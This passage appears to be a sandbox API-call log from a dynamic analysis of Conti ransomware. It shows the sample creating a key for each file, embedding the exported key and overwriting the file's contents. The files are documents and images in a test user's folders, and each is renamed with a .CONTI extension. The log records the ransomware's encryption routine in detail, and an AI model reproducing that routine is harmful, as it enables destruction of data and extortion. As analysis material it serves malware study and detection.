	[0140.769] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\UZCgfzf-21xiXAe0.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\uzcgfzf-21xixae0.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\UZCgfzf-21xiXAe0.xlsx.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\uzcgfzf-21xixae0.xlsx.conti")) returned 1
	[0140.770] GetProcessHeap () returned 0x1720000
	[0140.770] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.770] CryptDestroyKey (hKey=0x6b7ed78) returned 1
	[0140.770] GetProcessHeap () returned 0x1720000
	[0140.770] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cbfd0 | out: hHeap=0x1720000) returned 1
	[0140.770] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0140.770] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b534c0 | out: phKey=0x6b534c0*=0x6b7eab8) returned 1
	[0140.770] CryptExportKey (in: hKey=0x6b7eab8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b534c4, pdwDataLen=0x4fbf86c | out: pbData=0x6b534c4*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0140.771] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\WOO-5AIS1.docx" (normalized: "c:\\users\\fd1hvy\\documents\\woo-5ais1.docx")) returned 0x20
	[0140.771] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\WOO-5AIS1.docx" (normalized: "c:\\users\\fd1hvy\\documents\\woo-5ais1.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0140.771] GetLastError () returned 0x0
	[0140.771] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=19701) returned 1
	[0140.771] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4cf5
	[0140.771] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.772] SetEndOfFile (hFile=0x424) returned 1
	[0140.772] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.772] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.772] WriteFile (in: hFile=0x424, lpBuffer=0x6b534c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b534c4*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0141.816] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.816] ReadFile (in: hFile=0x424, lpBuffer=0xe980000, nNumberOfBytesToRead=0x4cf5, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x4cf5, lpOverlapped=0x0) returned 1
	[0141.816] CryptEncrypt (in: hKey=0x6b7eab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x4cf5, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x4d00) returned 1
	[0141.817] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.817] WriteFile (in: hFile=0x424, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x4d00, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x4d00, lpOverlapped=0x0) returned 1
	[0141.817] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.817] WriteFile (in: hFile=0x424, lpBuffer=0x6b534b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b534b8*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0141.817] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.817] CloseHandle (hObject=0x424) returned 1
	[0141.817] GetProcessHeap () returned 0x1720000
	[0141.817] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0144.156] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\WOO-5AIS1.docx" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\WOO-5AIS1.docx") returned="C:\\Users\\FD1HVy\\Documents\\WOO-5AIS1.docx"
	[0144.156] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\WOO-5AIS1.docx", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\WOO-5AIS1.docx.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\WOO-5AIS1.docx.CONTI"
	[0144.156] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\WOO-5AIS1.docx" (normalized: "c:\\users\\fd1hvy\\documents\\woo-5ais1.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\WOO-5AIS1.docx.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\woo-5ais1.docx.conti")) returned 1
	[0144.157] GetProcessHeap () returned 0x1720000
	[0144.157] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0144.157] CryptDestroyKey (hKey=0x6b7eab8) returned 1
	[0144.157] GetProcessHeap () returned 0x1720000
	[0144.157] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741280 | out: hHeap=0x1720000) returned 1
	[0144.157] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0144.157] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b4fbb8 | out: phKey=0x6b4fbb8*=0x6b7e7f8) returned 1
	[0144.157] CryptExportKey (in: hKey=0x6b7e7f8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4fbbc, pdwDataLen=0x4fbf86c | out: pbData=0x6b4fbbc*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0144.158] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\desktop.ini")) returned 0x26
	[0144.158] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0144.159] GetLastError () returned 0x0
	[0144.159] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=504) returned 1
	[0144.159] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1f8
	[0144.159] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.159] SetEndOfFile (hFile=0x498) returned 1
	[0144.163] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.163] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.163] WriteFile (in: hFile=0x498, lpBuffer=0x6b4fbbc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b4fbbc*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0144.166] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.166] ReadFile (in: hFile=0x498, lpBuffer=0xe980000, nNumberOfBytesToRead=0x1f8, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x1f8, lpOverlapped=0x0) returned 1
	[0144.166] CryptEncrypt (in: hKey=0x6b7e7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x1f8, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x200) returned 1
	[0144.166] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.166] WriteFile (in: hFile=0x498, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x200, lpOverlapped=0x0) returned 1
	[0144.166] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.166] WriteFile (in: hFile=0x498, lpBuffer=0x6b4fbb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b4fbb0*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0144.166] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.166] CloseHandle (hObject=0x498) returned 1
	[0144.166] GetProcessHeap () returned 0x1720000
	[0144.166] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0144.166] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Pictures\\desktop.ini" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\desktop.ini") returned="C:\\Users\\FD1HVy\\Pictures\\desktop.ini"
	[0144.166] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\desktop.ini.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\desktop.ini.CONTI"
	[0144.166] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\desktop.ini.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\desktop.ini.conti")) returned 1
	[0144.169] GetProcessHeap () returned 0x1720000
	[0144.169] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0144.169] CryptDestroyKey (hKey=0x6b7e7f8) returned 1
	[0144.169] GetProcessHeap () returned 0x1720000
	[0144.169] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bec58 | out: hHeap=0x1720000) returned 1
	[0144.169] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0144.169] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b52710 | out: phKey=0x6b52710*=0x6b7eab8) returned 1
	[0144.169] CryptExportKey (in: hKey=0x6b7eab8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b52714, pdwDataLen=0x4fbf86c | out: pbData=0x6b52714*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0144.171] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ENc32eKa8gz KZZR o8.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\enc32eka8gz kzzr o8.bmp")) returned 0x20
	[0144.185] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ENc32eKa8gz KZZR o8.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\enc32eka8gz kzzr o8.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0144.185] GetLastError () returned 0x0
	[0144.185] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=22926) returned 1
	[0144.185] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x598e
	[0144.185] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.185] SetEndOfFile (hFile=0x49c) returned 1
	[0144.186] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.186] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.186] WriteFile (in: hFile=0x49c, lpBuffer=0x6b52714*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b52714*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0144.205] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.206] ReadFile (in: hFile=0x49c, lpBuffer=0xe980000, nNumberOfBytesToRead=0x598e, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x598e, lpOverlapped=0x0) returned 1
	[0144.208] CryptEncrypt (in: hKey=0x6b7eab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x598e, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x5990) returned 1
	[0144.208] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.208] WriteFile (in: hFile=0x49c, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x5990, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x5990, lpOverlapped=0x0) returned 1
	[0144.208] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.208] WriteFile (in: hFile=0x49c, lpBuffer=0x6b52708*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b52708*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0144.209] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.209] CloseHandle (hObject=0x49c) returned 1
	[0144.209] GetProcessHeap () returned 0x1720000
	[0144.209] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0144.209] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Pictures\\ENc32eKa8gz KZZR o8.bmp" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\ENc32eKa8gz KZZR o8.bmp") returned="C:\\Users\\FD1HVy\\Pictures\\ENc32eKa8gz KZZR o8.bmp"
	[0144.209] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\ENc32eKa8gz KZZR o8.bmp", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\ENc32eKa8gz KZZR o8.bmp.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\ENc32eKa8gz KZZR o8.bmp.CONTI"
	[0144.209] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\ENc32eKa8gz KZZR o8.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\enc32eka8gz kzzr o8.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\ENc32eKa8gz KZZR o8.bmp.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\enc32eka8gz kzzr o8.bmp.conti")) returned 1
	[0145.020] GetProcessHeap () returned 0x1720000
	[0145.020] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0145.126] CryptDestroyKey (hKey=0x6b7eab8) returned 1
	[0145.126] GetProcessHeap () returned 0x1720000
	[0145.126] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65de840 | out: hHeap=0x1720000) returned 1
	[0145.126] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0145.126] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x65d22d8 | out: phKey=0x65d22d8*=0x17de4d0) returned 1
	[0145.126] CryptExportKey (in: hKey=0x17de4d0, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d22dc, pdwDataLen=0x4fbf86c | out: pbData=0x65d22dc*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0145.127] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\n6yl6zMr9qqdVqe-JK6.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\n6yl6zmr9qqdvqe-jk6.gif")) returned 0x20
	[0145.127] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\n6yl6zMr9qqdVqe-JK6.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\n6yl6zmr9qqdvqe-jk6.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0145.128] GetLastError () returned 0x0
	[0145.128] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=81884) returned 1
	[0145.128] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x13fdc
	[0145.128] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.128] SetEndOfFile (hFile=0x44c) returned 1
	[0145.128] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.128] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.128] WriteFile (in: hFile=0x44c, lpBuffer=0x65d22dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x65d22dc*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0145.130] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.130] ReadFile (in: hFile=0x44c, lpBuffer=0xe980000, nNumberOfBytesToRead=0x13fdc, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x13fdc, lpOverlapped=0x0) returned 1
	[0145.135] CryptEncrypt (in: hKey=0x17de4d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x13fdc, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x13fe0) returned 1
	[0145.135] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.135] WriteFile (in: hFile=0x44c, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x13fe0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x13fe0, lpOverlapped=0x0) returned 1
	[0145.135] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.135] WriteFile (in: hFile=0x44c, lpBuffer=0x65d22d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x65d22d0*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0145.135] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.135] CloseHandle (hObject=0x44c) returned 1
	[0145.135] GetProcessHeap () returned 0x1720000
	[0145.135] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0145.135] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Pictures\\n6yl6zMr9qqdVqe-JK6.gif" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\n6yl6zMr9qqdVqe-JK6.gif") returned="C:\\Users\\FD1HVy\\Pictures\\n6yl6zMr9qqdVqe-JK6.gif"
	[0145.135] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\n6yl6zMr9qqdVqe-JK6.gif", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\n6yl6zMr9qqdVqe-JK6.gif.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\n6yl6zMr9qqdVqe-JK6.gif.CONTI"
	[0145.136] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\n6yl6zMr9qqdVqe-JK6.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\n6yl6zmr9qqdvqe-jk6.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\n6yl6zMr9qqdVqe-JK6.gif.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\n6yl6zmr9qqdvqe-jk6.gif.conti")) returned 1
	[0145.136] GetProcessHeap () returned 0x1720000
	[0145.136] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0145.136] CryptDestroyKey (hKey=0x17de4d0) returned 1
	[0145.136] GetProcessHeap () returned 0x1720000
	[0145.136] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65deb50 | out: hHeap=0x1720000) returned 1
	[0145.136] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0145.136] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x65cee60 | out: phKey=0x65cee60*=0x17de790) returned 1
	[0145.136] CryptExportKey (in: hKey=0x17de790, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65cee64, pdwDataLen=0x4fbf86c | out: pbData=0x65cee64*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0145.137] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\PEBAVQ.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\pebavq.bmp")) returned 0x20
	[0145.137] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\PEBAVQ.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\pebavq.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0145.137] GetLastError () returned 0x0
	[0145.137] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=87276) returned 1
	[0145.137] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x154ec
	[0145.137] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.137] SetEndOfFile (hFile=0x44c) returned 1
	[0145.138] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.138] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.138] WriteFile (in: hFile=0x44c, lpBuffer=0x65cee64*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x65cee64*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0145.143] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.143] ReadFile (in: hFile=0x44c, lpBuffer=0xe980000, nNumberOfBytesToRead=0x154ec, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x154ec, lpOverlapped=0x0) returned 1
	[0145.145] CryptEncrypt (in: hKey=0x17de790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x154ec, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x154f0) returned 1
